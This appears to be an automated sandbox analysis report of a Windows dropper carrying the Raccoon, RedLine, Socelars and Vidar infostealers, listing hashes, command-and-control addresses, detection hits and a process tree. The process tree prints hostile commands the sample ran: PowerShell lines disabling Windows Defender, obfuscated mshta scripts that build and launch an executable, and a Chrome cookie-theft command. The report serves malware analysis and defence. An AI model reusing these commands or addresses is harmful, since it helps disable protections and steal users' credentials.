raccoon | c8d1ba6929a113368abc999cf988c7049a5cf6fdc505d334f17a7b87e3c95a8d

Resubmissions

16/12/2021, 19:08

211216-xtg6kacgb81

16/12/2021, 18:38

211216-xaew4addek10

Analysis

max time kernel
16s
max time network
152s
platform
windows10_x64
resource
win10-en-20211208
submitted
16/12/2021, 18:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
e44d0cf1c7fec887595324fd936becaaf0829a7a5428922c6ba6640dfb7b3e54.exe
Size 15.0MB
Sample211216-xaew4addek
SHA256 e44d0cf1c7fec887595324fd936becaaf0829a7a5428922c6ba6640dfb7b3e54
MD5 59da93f7275c407be37c11b186afe771
SHA1 7ba67e2d2c52cdda2559f29d9f7fd30c0ab7ad06
SHA512 565a716df02f07f6e978e09f7f8777dd5ce03821fb9a89c92186327a8dbab5d5e61403e85d0e685cc9a0d999ad575bbf16107a36d469460f1e0aa635dfbd8491
MD5 SHA1 SHA512

Score

10^/10

raccoon redline socelars vidar 03.12_build_3 4da27d123a577c68e42716053343dd3f8da508a2 aspackv2 evasion infostealer stealer suricata trojan

Malware Config

Extracted

Family

redline

Botnet

03.12_BUILD_3

45.9.20.221:15590

Extracted

Family

raccoon

Version

1.8.3-hotfix

Botnet

4da27d123a577c68e42716053343dd3f8da508a2

Attributes

url4cnc
http://91.219.236.27/borderxra

http://94.158.245.167/borderxra

http://185.163.204.216/borderxra

http://185.225.19.238/borderxra

http://185.163.204.218/borderxra

https://t.me/borderxra

rc4.plain

Extracted

Family

socelars

http://www.wgqpw.com/

Signatures

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 6 IoCs

resource	yara_rule
behavioral2/memory/1916-232-0x0000000002340000-0x000000000236E000-memory.dmp	family_redline
behavioral2/memory/1916-249-0x00000000024E0000-0x000000000250C000-memory.dmp	family_redline
behavioral2/memory/1728-274-0x0000000001320000-0x00000000013B9000-memory.dmp	family_redline
behavioral2/memory/1304-278-0x0000000000400000-0x00000000007FA000-memory.dmp	family_redline
behavioral2/memory/1976-240-0x0000000000AD0000-0x0000000000BA7000-memory.dmp	family_redline
behavioral2/memory/1976-224-0x0000000000AD0000-0x0000000000BA7000-memory.dmp	family_redline

Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
stealer socelars

Socelars Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000500000001ab37-201.dat	family_socelars
behavioral2/files/0x000500000001ab37-166.dat	family_socelars

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
suricata: ET MALWARE GCleaner Downloader Activity M5
suricata: ET MALWARE GCleaner Downloader Activity M5
suricata
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
suricata
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

NirSoft WebBrowserPassView 2 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/files/0x000800000001ab44-195.dat	WebBrowserPassView
behavioral2/files/0x000800000001ab44-157.dat	WebBrowserPassView

Nirsoft 4 IoCs

resource	yara_rule
behavioral2/files/0x000500000001ab6b-395.dat	Nirsoft
behavioral2/files/0x000500000001ab6b-396.dat	Nirsoft
behavioral2/files/0x000800000001ab44-195.dat	Nirsoft
behavioral2/files/0x000800000001ab44-157.dat	Nirsoft

ASPack v2.12-2.42 7 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral2/files/0x000500000001ab58-124.dat	aspack_v212_v242
behavioral2/files/0x000500000001ab58-126.dat	aspack_v212_v242
behavioral2/files/0x000500000001ab57-125.dat	aspack_v212_v242
behavioral2/files/0x000500000001ab57-129.dat	aspack_v212_v242
behavioral2/files/0x000500000001ab57-128.dat	aspack_v212_v242
behavioral2/files/0x000500000001ab5a-131.dat	aspack_v212_v242
behavioral2/files/0x000500000001ab5a-132.dat	aspack_v212_v242

Downloads MZ/PE file

Executes dropped EXE 24 IoCs

pid	Process
3652	setup_installer.exe
924	setup_install.exe
1180	a25340a1-9be6-466a-a739-2ae40a0f3a74.exe
3220	Fri006e94a111.exe
2440	Fri002d0eb8ad1c781.exe
1296	Fri0009837acb0e3f.exe
1236	Fri00a6abc266a1e.exe
1864	Fri0024e24e95c5.exe
1608	Fri006106b9f3.exe
1696	Fri00787d8fbee5ae2.exe
1976	Fri00ea564f2dd.exe
1916	Fri006e94a111.exe
3592	Fri006955771d552.exe
1304	Fri000511de73f4d6ca.exe
3676	Fri00d11173c6bdedf9.exe
2432	Fri003da4b0a49fa71b6.exe
3584	Fri007f1a815cd.exe
1440	Fri00aca824dcfa8.tmp
520	Fri005fb51f7290280.exe
1020	Fri007f1a815cd.exe
1728	Fri009539f6ca3c9b1.exe
3120	Fri00a70cad68c17.exe
1360	Fri00d11173c6bdedf9.exe
3184	Fri00aca824dcfa8.exe

Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Fri000511de73f4d6ca.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Fri000511de73f4d6ca.exe

Loads dropped DLL 8 IoCs

pid	Process
924	setup_install.exe
924	setup_install.exe
924	setup_install.exe
924	setup_install.exe
924	setup_install.exe
924	setup_install.exe
924	setup_install.exe
924	setup_install.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Fri000511de73f4d6ca.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
24	ip-api.com

Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

pid	Process
1976	Fri00ea564f2dd.exe
520	Fri005fb51f7290280.exe
1728	Fri009539f6ca3c9b1.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3220 set thread context of 1916	3220	Fri006e94a111.exe	121
PID 3584 set thread context of 1020	3584	Fri007f1a815cd.exe	108

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4504	2432	WerFault.exe	113

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4804	timeout.exe

Kills process with taskkill 4 IoCs

evasion

pid	Process
4776	taskkill.exe
1480	taskkill.exe
1584	taskkill.exe
4600	taskkill.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
1976	Fri00ea564f2dd.exe
1976	Fri00ea564f2dd.exe
1580	powershell.exe
1580	powershell.exe
1728	Fri009539f6ca3c9b1.exe
1728	Fri009539f6ca3c9b1.exe
520	Fri005fb51f7290280.exe
520	Fri005fb51f7290280.exe
1624	powershell.exe
1624	powershell.exe

Suspicious use of AdjustPrivilegeToken 39 IoCs

description	pid	Process
Token: SeCreateTokenPrivilege	1864	Fri0024e24e95c5.exe
Token: SeAssignPrimaryTokenPrivilege	1864	Fri0024e24e95c5.exe
Token: SeLockMemoryPrivilege	1864	Fri0024e24e95c5.exe
Token: SeIncreaseQuotaPrivilege	1864	Fri0024e24e95c5.exe
Token: SeMachineAccountPrivilege	1864	Fri0024e24e95c5.exe
Token: SeTcbPrivilege	1864	Fri0024e24e95c5.exe
Token: SeSecurityPrivilege	1864	Fri0024e24e95c5.exe
Token: SeTakeOwnershipPrivilege	1864	Fri0024e24e95c5.exe
Token: SeLoadDriverPrivilege	1864	Fri0024e24e95c5.exe
Token: SeSystemProfilePrivilege	1864	Fri0024e24e95c5.exe
Token: SeSystemtimePrivilege	1864	Fri0024e24e95c5.exe
Token: SeProfSingleProcessPrivilege	1864	Fri0024e24e95c5.exe
Token: SeIncBasePriorityPrivilege	1864	Fri0024e24e95c5.exe
Token: SeCreatePagefilePrivilege	1864	Fri0024e24e95c5.exe
Token: SeCreatePermanentPrivilege	1864	Fri0024e24e95c5.exe
Token: SeBackupPrivilege	1864	Fri0024e24e95c5.exe
Token: SeRestorePrivilege	1864	Fri0024e24e95c5.exe
Token: SeShutdownPrivilege	1864	Fri0024e24e95c5.exe
Token: SeDebugPrivilege	1864	Fri0024e24e95c5.exe
Token: SeAuditPrivilege	1864	Fri0024e24e95c5.exe
Token: SeSystemEnvironmentPrivilege	1864	Fri0024e24e95c5.exe
Token: SeChangeNotifyPrivilege	1864	Fri0024e24e95c5.exe
Token: SeRemoteShutdownPrivilege	1864	Fri0024e24e95c5.exe
Token: SeUndockPrivilege	1864	Fri0024e24e95c5.exe
Token: SeSyncAgentPrivilege	1864	Fri0024e24e95c5.exe
Token: SeEnableDelegationPrivilege	1864	Fri0024e24e95c5.exe
Token: SeManageVolumePrivilege	1864	Fri0024e24e95c5.exe
Token: SeImpersonatePrivilege	1864	Fri0024e24e95c5.exe
Token: SeCreateGlobalPrivilege	1864	Fri0024e24e95c5.exe
Token: 31	1864	Fri0024e24e95c5.exe
Token: 32	1864	Fri0024e24e95c5.exe
Token: 33	1864	Fri0024e24e95c5.exe
Token: 34	1864	Fri0024e24e95c5.exe
Token: 35	1864	Fri0024e24e95c5.exe
Token: SeDebugPrivilege	1608	Fri006106b9f3.exe
Token: SeDebugPrivilege	1580	powershell.exe
Token: SeDebugPrivilege	1916	Fri006e94a111.exe
Token: SeDebugPrivilege	1624	powershell.exe
Token: SeDebugPrivilege	1696	Fri00787d8fbee5ae2.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3772 wrote to memory of 3652	3772	e44d0cf1c7fec887595324fd936becaaf0829a7a5428922c6ba6640dfb7b3e54.exe	69
PID 3772 wrote to memory of 3652	3772	e44d0cf1c7fec887595324fd936becaaf0829a7a5428922c6ba6640dfb7b3e54.exe	69
PID 3772 wrote to memory of 3652	3772	e44d0cf1c7fec887595324fd936becaaf0829a7a5428922c6ba6640dfb7b3e54.exe	69
PID 3652 wrote to memory of 924	3652	setup_installer.exe	70
PID 3652 wrote to memory of 924	3652	setup_installer.exe	70
PID 3652 wrote to memory of 924	3652	setup_installer.exe	70
PID 924 wrote to memory of 3260	924	setup_install.exe	73
PID 924 wrote to memory of 3260	924	setup_install.exe	73
PID 924 wrote to memory of 3260	924	setup_install.exe	73
PID 924 wrote to memory of 3424	924	setup_install.exe	74
PID 924 wrote to memory of 3424	924	setup_install.exe	74
PID 924 wrote to memory of 3424	924	setup_install.exe	74
PID 924 wrote to memory of 3564	924	setup_install.exe	75
PID 924 wrote to memory of 3564	924	setup_install.exe	75
PID 924 wrote to memory of 3564	924	setup_install.exe	75
PID 924 wrote to memory of 4080	924	setup_install.exe	76
PID 924 wrote to memory of 4080	924	setup_install.exe	76
PID 924 wrote to memory of 4080	924	setup_install.exe	76
PID 924 wrote to memory of 4076	924	setup_install.exe	77
PID 924 wrote to memory of 4076	924	setup_install.exe	77
PID 924 wrote to memory of 4076	924	setup_install.exe	77
PID 924 wrote to memory of 4056	924	setup_install.exe	78
PID 924 wrote to memory of 4056	924	setup_install.exe	78
PID 924 wrote to memory of 4056	924	setup_install.exe	78
PID 924 wrote to memory of 1720	924	setup_install.exe	134
PID 924 wrote to memory of 1720	924	setup_install.exe	134
PID 924 wrote to memory of 1720	924	setup_install.exe	134
PID 3424 wrote to memory of 1580	3424	cmd.exe	79
PID 3424 wrote to memory of 1580	3424	cmd.exe	79
PID 3424 wrote to memory of 1580	3424	cmd.exe	79
PID 3260 wrote to memory of 1624	3260	cmd.exe	133
PID 3260 wrote to memory of 1624	3260	cmd.exe	133
PID 3260 wrote to memory of 1624	3260	cmd.exe	133
PID 924 wrote to memory of 612	924	setup_install.exe	80
PID 924 wrote to memory of 612	924	setup_install.exe	80
PID 924 wrote to memory of 612	924	setup_install.exe	80
PID 924 wrote to memory of 1204	924	setup_install.exe	132
PID 924 wrote to memory of 1204	924	setup_install.exe	132
PID 924 wrote to memory of 1204	924	setup_install.exe	132
PID 4080 wrote to memory of 1180	4080	cmd.exe	102
PID 4080 wrote to memory of 1180	4080	cmd.exe	102
PID 4080 wrote to memory of 1180	4080	cmd.exe	102
PID 924 wrote to memory of 2716	924	setup_install.exe	131
PID 924 wrote to memory of 2716	924	setup_install.exe	131
PID 924 wrote to memory of 2716	924	setup_install.exe	131
PID 924 wrote to memory of 3348	924	setup_install.exe	130
PID 924 wrote to memory of 3348	924	setup_install.exe	130
PID 924 wrote to memory of 3348	924	setup_install.exe	130
PID 3564 wrote to memory of 3220	3564	cmd.exe	129
PID 3564 wrote to memory of 3220	3564	cmd.exe	129
PID 3564 wrote to memory of 3220	3564	cmd.exe	129
PID 924 wrote to memory of 1456	924	setup_install.exe	82
PID 924 wrote to memory of 1456	924	setup_install.exe	82
PID 924 wrote to memory of 1456	924	setup_install.exe	82
PID 924 wrote to memory of 1104	924	setup_install.exe	127
PID 924 wrote to memory of 1104	924	setup_install.exe	127
PID 924 wrote to memory of 1104	924	setup_install.exe	127
PID 4076 wrote to memory of 2440	4076	cmd.exe	128
PID 4076 wrote to memory of 2440	4076	cmd.exe	128
PID 4076 wrote to memory of 2440	4076	cmd.exe	128
PID 4056 wrote to memory of 1296	4056	cmd.exe	83
PID 4056 wrote to memory of 1296	4056	cmd.exe	83
PID 4056 wrote to memory of 1296	4056	cmd.exe	83
PID 1720 wrote to memory of 1236	1720	cmd.exe	125

C:\Users\Admin\AppData\Local\Temp\e44d0cf1c7fec887595324fd936becaaf0829a7a5428922c6ba6640dfb7b3e54.exe
"C:\Users\Admin\AppData\Local\Temp\e44d0cf1c7fec887595324fd936becaaf0829a7a5428922c6ba6640dfb7b3e54.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3772
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3652
- - C:\Users\Admin\AppData\Local\Temp\7zS44E406A5\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zS44E406A5\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:924
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3260
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1624
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3424
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1580
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri006e94a111.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3564
    - - C:\Users\Admin\AppData\Local\Temp\7zS44E406A5\Fri006e94a111.exe
        
        Fri006e94a111.exe
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:3220
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri00aca824dcfa8.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4080
    - - C:\Users\Admin\AppData\Local\Temp\7zS44E406A5\Fri00aca824dcfa8.exe
        
        Fri00aca824dcfa8.exe
        5⤵
        
        PID:1180
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri002d0eb8ad1c781.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4076
    - - C:\Users\Admin\AppData\Local\Temp\7zS44E406A5\Fri002d0eb8ad1c781.exe
        
        Fri002d0eb8ad1c781.exe
        5⤵
        Executes dropped EXE
        
        PID:2440
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri0009837acb0e3f.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4056
    - - C:\Users\Admin\AppData\Local\Temp\7zS44E406A5\Fri0009837acb0e3f.exe
        
        Fri0009837acb0e3f.exe
        5⤵
        Executes dropped EXE
        
        PID:1296
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im Fri0009837acb0e3f.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7zS44E406A5\Fri0009837acb0e3f.exe" & del C:\ProgramData\*.dll & exit
        6⤵
        
        PID:4588
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im Fri0009837acb0e3f.exe /f
        7⤵
        Kills process with taskkill
        
        PID:4600
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        7⤵
        Delays execution with timeout.exe
        
        PID:4804
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri000511de73f4d6ca.exe
      4⤵
      PID:612
    - - C:\Users\Admin\AppData\Local\Temp\7zS44E406A5\Fri000511de73f4d6ca.exe
        
        Fri000511de73f4d6ca.exe
        5⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        
        PID:1304
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri00787d8fbee5ae2.exe
      4⤵
      PID:1456
    - - C:\Users\Admin\AppData\Local\Temp\7zS44E406A5\Fri00787d8fbee5ae2.exe
        
        Fri00787d8fbee5ae2.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1696
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri00d11173c6bdedf9.exe
      4⤵
      PID:1376
    - - C:\Users\Admin\AppData\Local\Temp\7zS44E406A5\Fri00d11173c6bdedf9.exe
        
        Fri00d11173c6bdedf9.exe
        5⤵
        Executes dropped EXE
        
        PID:3676
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri006955771d552.exe
      4⤵
      PID:1920
    - - C:\Users\Admin\AppData\Local\Temp\7zS44E406A5\Fri006955771d552.exe
        
        Fri006955771d552.exe
        5⤵
        Executes dropped EXE
        
        PID:3592
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\7zS44E406A5\Fri006955771d552.exe"
        6⤵
        
        PID:2180
      - C:\Users\Admin\AppData\Local\Temp\7zS44E406A5\Fri006955771d552.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7zS44E406A5\Fri006955771d552.exe"
        6⤵
        
        PID:3804
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri009539f6ca3c9b1.exe
      4⤵
      PID:1548
    - - C:\Users\Admin\AppData\Local\Temp\7zS44E406A5\Fri009539f6ca3c9b1.exe
        
        Fri009539f6ca3c9b1.exe
        5⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        
        PID:1728
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri00c13dae83a537d.exe
      4⤵
      PID:1956
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri005fb51f7290280.exe
      4⤵
      PID:2500
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri007b242a25024db8.exe
      4⤵
      PID:3812
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri00a70cad68c17.exe
      4⤵
      PID:3404
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri003da4b0a49fa71b6.exe
      4⤵
      PID:3124
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri006106b9f3.exe
      4⤵
      PID:1104
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri007f1a815cd.exe /mixtwo
      4⤵
      PID:3348
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri0024e24e95c5.exe
      4⤵
      PID:2716
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri00ea564f2dd.exe
      4⤵
      PID:1204
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri00a6abc266a1e.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1720

C:\Users\Admin\AppData\Local\Temp\7zS44E406A5\Fri005fb51f7290280.exe
Fri005fb51f7290280.exe
1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:520

C:\Users\Admin\AppData\Local\Temp\7zS44E406A5\Fri00d11173c6bdedf9.exe
"C:\Users\Admin\AppData\Local\Temp\7zS44E406A5\Fri00d11173c6bdedf9.exe" -u
1⤵
- Executes dropped EXE
PID:1360

C:\Users\Admin\AppData\Local\Temp\7zS44E406A5\Fri00aca824dcfa8.exe
"C:\Users\Admin\AppData\Local\Temp\7zS44E406A5\Fri00aca824dcfa8.exe" /SILENT
1⤵
- Executes dropped EXE
PID:3184
- C:\Users\Admin\AppData\Local\Temp\is-3T8RG.tmp\Fri00aca824dcfa8.tmp
  "C:\Users\Admin\AppData\Local\Temp\is-3T8RG.tmp\Fri00aca824dcfa8.tmp" /SL5="$60030,870426,780800,C:\Users\Admin\AppData\Local\Temp\7zS44E406A5\Fri00aca824dcfa8.exe" /SILENT
  2⤵
  PID:4320
- - C:\Users\Admin\AppData\Local\Temp\is-NNF63.tmp\winhostdll.exe
    "C:\Users\Admin\AppData\Local\Temp\is-NNF63.tmp\winhostdll.exe" ss1
    3⤵
    PID:1320

C:\Users\Admin\AppData\Local\Temp\7zS44E406A5\Fri00c13dae83a537d.exe
Fri00c13dae83a537d.exe
1⤵
PID:4236
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\System32\mshta.exe" VbSCRipt: cLOSe ( creATEOBJeCt( "wSCriPt.ShELL"). rUN ( "Cmd /C cOPY /Y ""C:\Users\Admin\AppData\Local\Temp\7zS44E406A5\Fri00c13dae83a537d.exe"" Q7J2UrO1XZC8DQK.EXe && StarT Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E& If """" == """" for %g IN ( ""C:\Users\Admin\AppData\Local\Temp\7zS44E406A5\Fri00c13dae83a537d.exe"" ) do taskkill -f /Im ""%~NXg"" " , 0, true) )
  2⤵
  PID:4568
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C cOPY /Y "C:\Users\Admin\AppData\Local\Temp\7zS44E406A5\Fri00c13dae83a537d.exe" Q7J2UrO1XZC8DQK.EXe && StarT Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E& If "" == "" for %g IN ( "C:\Users\Admin\AppData\Local\Temp\7zS44E406A5\Fri00c13dae83a537d.exe" ) do taskkill -f /Im "%~NXg"
    3⤵
    PID:4720
  - - C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe
      Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E
      4⤵
      PID:2548
    - - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbSCRipt: cLOSe ( creATEOBJeCt( "wSCriPt.ShELL"). rUN ( "Cmd /C cOPY /Y ""C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe"" Q7J2UrO1XZC8DQK.EXe && StarT Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E& If ""-PJJdHOofvf~E"" == """" for %g IN ( ""C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe"" ) do taskkill -f /Im ""%~NXg"" " , 0, true) )
        5⤵
        
        PID:832
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C cOPY /Y "C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe" Q7J2UrO1XZC8DQK.EXe && StarT Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E& If "-PJJdHOofvf~E" == "" for %g IN ( "C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe" ) do taskkill -f /Im "%~NXg"
        6⤵
        
        PID:4928
    - - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vBScRIpt: close (crEateoBJeCT("wscRIpT.sHELl"). RUn ( "C:\Windows\system32\cmd.exe /q /C ECho | SeT /p = ""MZ"" > 2MXG5k.pR & copy /b /y 2MXG5K.pR + A0kCLvIX.Kc + SpiKDP6.H + ApX~.n4 + G7TV3C~.QZE + P~ST7eWJ.E 9V~4.KU & starT odbcconf.exe /a { reGSVr .\9v~4.Ku } " ,0 , TrUE ) )
        5⤵
        
        PID:1032
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /q /C ECho | SeT /p = "MZ" > 2MXG5k.pR &copy /b /y 2MXG5K.pR +A0kCLvIX.Kc +SpiKDP6.H+ ApX~.n4 + G7TV3C~.QZE + P~ST7eWJ.E 9V~4.KU & starT odbcconf.exe /a { reGSVr .\9v~4.Ku}
        6⤵
        
        PID:3256
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" ECho "
        7⤵
        
        PID:2668
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" SeT /p = "MZ" 1>2MXG5k.pR"
        7⤵
        
        PID:660
        
        C:\Windows\SysWOW64\odbcconf.exe
        
        odbcconf.exe /a { reGSVr .\9v~4.Ku}
        7⤵
        
        PID:4760
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill -f /Im "Fri00c13dae83a537d.exe"
      4⤵
      Kills process with taskkill
      PID:4776

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
1⤵
PID:4836

C:\Users\Admin\AppData\Local\Temp\7zS44E406A5\Fri007b242a25024db8.exe
Fri007b242a25024db8.exe
1⤵
PID:4180

C:\Users\Admin\AppData\Local\e3d77b29-901e-4b2f-a33c-c024f3a1922a.exe
"C:\Users\Admin\AppData\Local\e3d77b29-901e-4b2f-a33c-c024f3a1922a.exe"
1⤵
PID:2212

C:\Users\Admin\AppData\Local\0585aaa9-0ae1-4f7b-bbc4-dd8fdfda00ec.exe
"C:\Users\Admin\AppData\Local\0585aaa9-0ae1-4f7b-bbc4-dd8fdfda00ec.exe"
1⤵
PID:4208

C:\Users\Admin\AppData\Local\a25340a1-9be6-466a-a739-2ae40a0f3a74.exe
"C:\Users\Admin\AppData\Local\a25340a1-9be6-466a-a739-2ae40a0f3a74.exe"
1⤵
- Executes dropped EXE
PID:1180
- C:\Users\Admin\AppData\Local\Temp\is-A94PM.tmp\Fri00aca824dcfa8.tmp
  "C:\Users\Admin\AppData\Local\Temp\is-A94PM.tmp\Fri00aca824dcfa8.tmp" /SL5="$20144,870426,780800,C:\Users\Admin\AppData\Local\Temp\7zS44E406A5\Fri00aca824dcfa8.exe"
  2⤵
  - Executes dropped EXE
  PID:1440

C:\Users\Admin\AppData\Local\f11fdf2a-6ab0-4941-ad07-3f92edf70a73.exe
"C:\Users\Admin\AppData\Local\f11fdf2a-6ab0-4941-ad07-3f92edf70a73.exe"
1⤵
PID:872
- C:\Users\Admin\AppData\Roaming\5285587.exe
  "C:\Users\Admin\AppData\Roaming\5285587.exe"
  2⤵
  PID:2916
- - C:\Windows\SysWOW64\regsvr32.exe
    "C:\Windows\System32\regsvr32.exe" -U /s RcAvCrDa.GH5
    3⤵
    PID:4624

